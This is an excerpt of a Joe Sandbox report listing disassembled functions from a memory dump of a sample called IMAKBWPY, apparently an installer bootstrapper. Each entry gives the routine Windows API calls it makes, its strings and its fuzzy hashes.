Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorLastMessagePostThread
String ID: EngineForApplication.cpp$Failed to post apply message.
API String ID: 2609174426-1304321051
Opcode ID: f964b43d45117eb45a1fad2151b4d999e167a49d67aff3d35e99fd8c649c58ad
Instruction ID: c2db5db1543a809fad3a2eab6a8922f979cc5e37932593ba9136802f6d3ac7d6
Opcode Fuzzy Hash: f964b43d45117eb45a1fad2151b4d999e167a49d67aff3d35e99fd8c649c58ad
Instruction Fuzzy Hash: F7F0A733A5123567D63116965D0DEDBBF8CAF44F70B024010FF58AF191D6649C0092D4

Function 009BEC5C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 34threadwindowCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00009000,00000000,?), ref: 009BEC71
GetLastError.KERNEL32 ref: 009BEC7B

Strings

Failed to post detect message., xrefs: 009BECA9
EngineForApplication.cpp, xrefs: 009BEC9F

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorLastMessagePostThread
String ID: EngineForApplication.cpp$Failed to post detect message.
API String ID: 2609174426-598219917
Opcode ID: 70e5d54ffcf60a1931e784cdaaa00c68db474df302126e8c49dbcc328c9b41d2
Instruction ID: 575558d738df7668c99cabbbe7554eedcd72bc346cbceb9088cfef4b906f1c2e
Opcode Fuzzy Hash: 70e5d54ffcf60a1931e784cdaaa00c68db474df302126e8c49dbcc328c9b41d2
Instruction Fuzzy Hash: 1CF0A73764123567D63156965D0DFC7BF98AF45B71B024011BE58AF291E6649C00D2D4

Function 009D6B76 Relevance: 6.3, APIs: 4, Instructions: 305COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 009D6C01
__alldvrm.LIBCMT ref: 009D6E02
__alldvrm.LIBCMT ref: 009D6E24

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: a43b07c52b3a46684783b2fbffe6c2b3820df8a855d7f8bf8198392ab5bcf62a
Instruction ID: bc9fd41f48909a1dda2c080452f7fb278e2a561e2c6285e1ca754e2e21d0d8f4
Opcode Fuzzy Hash: a43b07c52b3a46684783b2fbffe6c2b3820df8a855d7f8bf8198392ab5bcf62a
Instruction Fuzzy Hash: AEA18B76A803869FDB21CF28C8817AEBBE9EF55310F14C56FE5859B381C2389D41C761

Function 009E5EC5 Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 163stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?), ref: 009E5F92
lstrlenW.KERNEL32(00000000), ref: 009E5FAA

Strings

dlutil.cpp, xrefs: 009E6033

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: lstrlen
String ID: dlutil.cpp
API String ID: 1659193697-2067379296
Opcode ID: 532e44d7ecede5e0fc868651a1d9bfc1abdbb0ff641bd32a745129aae752b3e7
Instruction ID: 942cf191e8ca6c74a38b6c037373714e0d09d7be7828c383e71618486d840a90
Opcode Fuzzy Hash: 532e44d7ecede5e0fc868651a1d9bfc1abdbb0ff641bd32a745129aae752b3e7
Instruction Fuzzy Hash: A351E772A01669EBCB129FE68C80AAFBBBDEF98750F064414FD00B7250D731DD019BA0

Function 009D922B Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,ECE85006,009D2444,00000000,00000000,009D3479,?,009D3479,?,00000001,009D2444,ECE85006,00000001,009D3479,009D3479), ref: 009D9278
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 009D9301
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 009D9313
__freea.LIBCMT ref: 009D931C

Part of subcall function 009D521A: RtlAllocateHeap.NTDLL(00000000,?,?,?,009D1F87,?,0000015D,?,?,?,?,009D33E0,000000FF,00000000,?,?), ref: 009D524C

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: a4d58163caddfbe5f96e7c0259c67cff4b6fd6ddd5aab8e619f3976415fbb719
Instruction ID: e071078896d8de33c1dbc1758789ae5678cbc74cd320726f4bd0cf5a9da39879
Opcode Fuzzy Hash: a4d58163caddfbe5f96e7c0259c67cff4b6fd6ddd5aab8e619f3976415fbb719
Instruction Fuzzy Hash: 9831BE32A5020AABDF25AF64CC81EAE7BA9EB40310F05812AFC15DB294E735CD51CB90

Function 009A4FA4 Relevance: 6.1, APIs: 4, Instructions: 110COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,?,00000000,?,009A5552,?,?,?,?,?,?), ref: 009A4FFE
DeleteCriticalSection.KERNEL32(?,?,?,00000000,?,009A5552,?,?,?,?,?,?), ref: 009A5012
TlsFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,009A5552,?,?), ref: 009A5101
DeleteCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,009A5552,?,?), ref: 009A5108

Part of subcall function 009A1161: LocalFree.KERNEL32(?,?,009A4FBB,?,00000000,?,009A5552,?,?,?,?,?,?), ref: 009A116B

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CriticalDeleteFreeSection$CloseHandleLocal
String ID:
API String ID: 3671900028-0
Opcode ID: d0ee3d1a42aeea59e8935325aef6869c6c9631e5e9f29b6f501d23c08089d01f
Instruction ID: 5e404a7019ea990524126877703032a26dd827a151647e1062d28ffc07d06f8a
Opcode Fuzzy Hash: d0ee3d1a42aeea59e8935325aef6869c6c9631e5e9f29b6f501d23c08089d01f
Instruction Fuzzy Hash: 36414EB1600B459BCA31EBB5C889FDB73ECAF85710F450C29B69AD3052EB34F94587A0

Function 009A4C86 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 009AF96C: RegCloseKey.ADVAPI32(00000000,?,?,00000001,00000000,00000000,?,?,009A4CA5,?,?,00000001), ref: 009AF9BC

CloseHandle.KERNEL32(?,?,?,?,?,?,00000000,?,?,00000001,00000000,?,?,?), ref: 009A4D0C

Strings

Failed to get current process path., xrefs: 009A4CCA
Failed to re-launch bundle process after RunOnce: %ls, xrefs: 009A4CF6
Unable to get resume command line from the registry, xrefs: 009A4CAB

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: Close$Handle
String ID: Failed to get current process path.$Failed to re-launch bundle process after RunOnce: %ls$Unable to get resume command line from the registry
API String ID: 187904097-642631345
Opcode ID: 9603edecc7ff1b20b7d35bd952e99e73b8a087205196d8b5e3ffc49724dbfa59
Instruction ID: dcd4952b879befafad383322b6e859c54d12435e7162f708a0f4cfc0a92432a7
Opcode Fuzzy Hash: 9603edecc7ff1b20b7d35bd952e99e73b8a087205196d8b5e3ffc49724dbfa59
Instruction Fuzzy Hash: BC115131D0155DBB8F22AB96DC059EEBBB8EFC1721B108196F810B7211DBB19E50DBC0

Function 009D88B2 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,009D8A56,00000000,00000000,?,009D8859,009D8A56,00000000,00000000,00000000,?,009D8A56,00000006,FlsSetValue), ref: 009D88E4
GetLastError.KERNEL32(?,009D8859,009D8A56,00000000,00000000,00000000,?,009D8A56,00000006,FlsSetValue,00A02404,00A0240C,00000000,00000364,?,009D6230), ref: 009D88F0
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,009D8859,009D8A56,00000000,00000000,00000000,?,009D8A56,00000006,FlsSetValue,00A02404,00A0240C,00000000), ref: 009D88FE

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: 9d16654aef7447fa09db8a664a752a6b648a8f2868e763970aeb49f5e67d2f99
Instruction ID: 2dfc4e16a8fb956a2eaf601bb7779a17a53c368a71f2cb1885645168dd42fcb4
Opcode Fuzzy Hash: 9d16654aef7447fa09db8a664a752a6b648a8f2868e763970aeb49f5e67d2f99
Instruction Fuzzy Hash: 3A012B327A5227ABCB214B699C94A7B779CEF15BA1B104A21F956EB341DF30DC01C7E0

Function 009D615E Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000000,009D1AEC,00000000,80004004,?,009D1DF0,00000000,80004004,00000000,00000000), ref: 009D6162
SetLastError.KERNEL32(00000000,80004004,00000000,00000000), ref: 009D61CA
SetLastError.KERNEL32(00000000,80004004,00000000,00000000), ref: 009D61D6
_abort.LIBCMT ref: 009D61DC

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorLast$_abort
String ID:
API String ID: 88804580-0
Opcode ID: 1b37c4d3ce6ea4315a3101fbe0d6230708c560764263184f56ba7c5cea54c1f6
Instruction ID: d59707957c0fd57f3ed43739736434ff4f704ed2b6b87d36b03725ff66c798b7
Opcode Fuzzy Hash: 1b37c4d3ce6ea4315a3101fbe0d6230708c560764263184f56ba7c5cea54c1f6
Instruction Fuzzy Hash: 3DF0C8355CCB02A7C21237396C0AB2F166D9FD1772B26C117FA24A6393FF649C025261

Function 009A7435 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 009A7441
LeaveCriticalSection.KERNEL32(?,?,?,00000000), ref: 009A74A8

Strings

Failed to get value as numeric for variable: %ls, xrefs: 009A7497
Failed to get value of variable: %ls, xrefs: 009A747B

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: Failed to get value as numeric for variable: %ls$Failed to get value of variable: %ls
API String ID: 3168844106-4270472870
Opcode ID: a46addc75b7ecafead8ef121dfce394bc8d6aca27d45f600726d9da95b95ee76
Instruction ID: 4731f532c627d43533364b068cadca6b623c8d058c106471beed7eb5e35f97b6
Opcode Fuzzy Hash: a46addc75b7ecafead8ef121dfce394bc8d6aca27d45f600726d9da95b95ee76
Instruction Fuzzy Hash: FA01D472908128FBCF125F94CC46B9EBFA9AF05330F008124FC04AA231C3369E109BD0

Function 009A75AA Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 009A75B6
LeaveCriticalSection.KERNEL32(?,?,?,00000000), ref: 009A761D

Strings

Failed to get value of variable: %ls, xrefs: 009A75F0
Failed to get value as version for variable: %ls, xrefs: 009A760C

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: Failed to get value as version for variable: %ls$Failed to get value of variable: %ls
API String ID: 3168844106-1851729331
Opcode ID: 741c0de967e5899412204f83b2390b05fc4388c1164bcf63ea63bf176fba1eb6
Instruction ID: 4cf17cc1bbeea96679d1d0caac543875352c2f4e80247292db57aa705a90b838
Opcode Fuzzy Hash: 741c0de967e5899412204f83b2390b05fc4388c1164bcf63ea63bf176fba1eb6
Instruction Fuzzy Hash: D701DF32D08529FBCF125F84CC0AB9EBB68EF11324F004124FD04AB221D33A9E10ABD5

Function 009A7539 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 40COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00000000,00000000,00000006,?,009A9897,00000000,?,00000000,00000000,00000000,?,009A96D6,00000000,?,00000000,00000000), ref: 009A7545
LeaveCriticalSection.KERNEL32(00000000,00000000,00000000,00000000,?,009A9897,00000000,?,00000000,00000000,00000000,?,009A96D6,00000000,?,00000000), ref: 009A759B

Strings

Failed to copy value of variable: %ls, xrefs: 009A758A
Failed to get value of variable: %ls, xrefs: 009A756B

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: Failed to copy value of variable: %ls$Failed to get value of variable: %ls
API String ID: 3168844106-2936390398
Opcode ID: 2a59aea50418f83261ea7a3a05173ddd5b2d74adcc9942b3dd4cd3b02014cc68
Instruction ID: 23e24be73b0377a9f0050cc802ac077c9d5df305b2a3c7481be6e3cd910367ee
Opcode Fuzzy Hash: 2a59aea50418f83261ea7a3a05173ddd5b2d74adcc9942b3dd4cd3b02014cc68
Instruction Fuzzy Hash: 0DF08C72944268BBCF126F94CC0AE9E7B68EF45365F008124FD04AA260C3369E20ABD0

Function 009CE776 Relevance: 6.0, APIs: 4, Instructions: 26timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 009CE788
GetCurrentThreadId.KERNEL32 ref: 009CE797
GetCurrentProcessId.KERNEL32 ref: 009CE7A0
QueryPerformanceCounter.KERNEL32(?), ref: 009CE7AD

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 0e31a80d140ce5359086e83eceff6b60edfd741a4cb695c19a4b1e8f39c345aa
Instruction ID: 80895aa37e822280fe19c4646a70f141696afbd798aaaf5c41d1e78379d4d0a3
Opcode Fuzzy Hash: 0e31a80d140ce5359086e83eceff6b60edfd741a4cb695c19a4b1e8f39c345aa
Instruction Fuzzy Hash: B1F04D71C2524DEBCB00DBB4D989A9EBBF8EF18315F514899A415EB110E734AB049B61

Function 009E0C5D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 145registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32(00000000), ref: 009E0DD7

Strings

regutil.cpp, xrefs: 009E0DC4

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: Close
String ID: regutil.cpp
API String ID: 3535843008-955085611
Opcode ID: b2b1640791905c30474762b72395fb84de25ee23c3a9cf3f7147f9309004937e
Instruction ID: c9fe1f8a8f91c49496f3121cc02bdd72ecbe652c9d6e37c35b7ccbecf4acbd80
Opcode Fuzzy Hash: b2b1640791905c30474762b72395fb84de25ee23c3a9cf3f7147f9309004937e
Instruction Fuzzy Hash: 3C41E732D013A9EBDB338AD6CC047AE7769ABC0720F258164FD44AA190D7F59DD19BD0

Function 009E479B Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 136registryCOMMON

Download Yara Rule

APIs

Part of subcall function 009E0F6C: RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,00000000,00000001,00A0AAA0,00000000,?,009E57E1,80000002,00000000,00020019,00000000,SOFTWARE\Policies\,00000000,00000000), ref: 009E0F80

RegCloseKey.ADVAPI32(00000000,80000002,SYSTEM\CurrentControlSet\Control\Session Manager,00000003,?,00000000,00000000,00000101), ref: 009E48FC

Strings

PendingFileRenameOperations, xrefs: 009E47EC, 009E48D4
SYSTEM\CurrentControlSet\Control\Session Manager, xrefs: 009E47AC

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CloseOpen
String ID: PendingFileRenameOperations$SYSTEM\CurrentControlSet\Control\Session Manager
API String ID: 47109696-3023217399
Opcode ID: bc01344d9faefbccbd72b0360ae32d917e8be39f8578f65c011cbfef0bad02a0
Instruction ID: 79c96c51d3f3cba4dc41721f0f67559f915359cfa248eac136424bd3b88d780a
Opcode Fuzzy Hash: bc01344d9faefbccbd72b0360ae32d917e8be39f8578f65c011cbfef0bad02a0
Instruction Fuzzy Hash: C041A375E00199EFCF22DF9AC881EAEBBB9FF44B10F2140A9E500A7251D7319E50DB90

Function 009E10B5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 130registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000002,00000001,00000000,00000000,00000000,00000000,00000000), ref: 009E112B
RegQueryValueExW.ADVAPI32(?,00000000,00000000,?,00000000,00000000,00000000,?), ref: 009E1163

Strings

regutil.cpp, xrefs: 009E11A9

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: QueryValue
String ID: regutil.cpp
API String ID: 3660427363-955085611
Opcode ID: d422da03eac6281246d262b6b969ea16e7aedad5e7d3ee0187af87781673ee1f
Instruction ID: 395b4f21eec906096bad402d4f8833f0d60ba6e4836f08de8c6d461c0738d3df
Opcode Fuzzy Hash: d422da03eac6281246d262b6b969ea16e7aedad5e7d3ee0187af87781673ee1f
Instruction Fuzzy Hash: 9041A332D041AAFBDB229F96CC41AAEBBBDFF44350F108569FA10A7250D7319E118B90

Function 009D66D0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 116COMMONLIBRARYCODE

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(009EB518,00000000,00000006,00000001,comres.dll,?,00000000,?,00000000,?,?,00000000,00000006,?,comres.dll,?), ref: 009D67A3
GetLastError.KERNEL32 ref: 009D67BF

Strings

comres.dll, xrefs: 009D674A, 009D6798, 009D67D4

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ByteCharErrorLastMultiWide
String ID: comres.dll
API String ID: 203985260-246242247
Opcode ID: b07c505b2f6912a77ae5e9638eaf26179da05f6ef2b7496691478e5f69df2bb6
Instruction ID: ff294ac48a882d9b1d0378bc3f72c850c920774779381cdebe90caf6d55038af
Opcode Fuzzy Hash: b07c505b2f6912a77ae5e9638eaf26179da05f6ef2b7496691478e5f69df2bb6
Instruction Fuzzy Hash: 5F310935680319ABCB21AF58C885BAB7BACEF91764F14C06BF8148B391DB70CD04D7A1

Function 009E8F7A Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 109registryCOMMON

Download Yara Rule

APIs

Part of subcall function 009E8E44: lstrlenW.KERNEL32(00000100,?,?,?,009E9217,000002C0,00000100,00000100,00000100,?,?,?,009C7D87,?,?,000001BC), ref: 009E8E69

RegCloseKey.ADVAPI32(00000000,?,?,00000000,?,00000000,?,?,?,00000000,wininet.dll,?,009EB500,wininet.dll,?), ref: 009E907A
RegCloseKey.ADVAPI32(?,?,?,00000000,?,00000000,?,?,?,00000000,wininet.dll,?,009EB500,wininet.dll,?), ref: 009E9087

Part of subcall function 009E0F6C: RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,00000000,00000001,00A0AAA0,00000000,?,009E57E1,80000002,00000000,00020019,00000000,SOFTWARE\Policies\,00000000,00000000), ref: 009E0F80

Part of subcall function 009E0E4F: RegEnumKeyExW.ADVAPI32(00000000,000002C0,00000410,00000002,00000000,00000000,00000000,00000000,00000410,00000002,00000100,00000000,00000000,?,?,009C8E1B), ref: 009E0EAA
Part of subcall function 009E0E4F: RegQueryInfoKeyW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000002,00000000,00000000,00000000,00000000,00000000,00000000,?,?,009C8E1B,00000000), ref: 009E0EC8

Strings

wininet.dll, xrefs: 009E8FEF, 009E903C

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: Close$EnumInfoOpenQuerylstrlen
String ID: wininet.dll
